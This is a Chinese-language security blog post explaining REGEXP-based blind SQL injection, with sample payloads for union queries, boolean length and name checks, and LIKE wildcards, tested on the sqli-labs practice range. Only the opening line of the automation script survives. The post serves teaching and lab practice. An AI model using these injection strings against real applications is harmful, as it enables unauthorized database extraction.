regexp注入
简介
REGEXP注入,又叫盲注值正则表达式攻击,是盲注时常用方法之一,原理是直接查询数据,通过正则表达式进行匹配。如果系统过滤了=、in、like,我们可使用regexp注入。
表达式形式:
1 | select (select语句) regexp '正则' |
若匹配则返回1,不匹配返回0。例:
1 | select (select username from users where id=1) regexp '^a'; |
^
表示pattern(模式串)的开头。即当匹配到username字段下id=1的数据开头为a时,返回1;否则返回0。如果^被过滤,可使用$从后往前匹配。
常用regexp正则语句:
1 | regexp '^a' #判断第一个字符串是否为a |
在联合查询中的使用
1 | 1 union select 1,database() regexp '^s',3 --+ |
REGEXP盲注
在sqli-labs靶场Less-8关进行测试
1.判断数据库长度
1 | ' or (length(database())=8)--+ 正常 |
2.判断数据库名
1 | ' or database() regexp '^s'--+ 正常 |
写个脚本批量跑
1 | import requests |
like匹配
百分比(%)通配符允许匹配任何字符串的零个或多个字符。下划线_
通配符允许匹配任何单个字符。
1 | # 判断第一个字符是否为s |
参考
- Post title:regexp注入
- Post author:ssooking
- Create time:2020-09-17 10:15:00
- Post link:https://ssooking.github.io/2020/09/regexp注入/
- Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.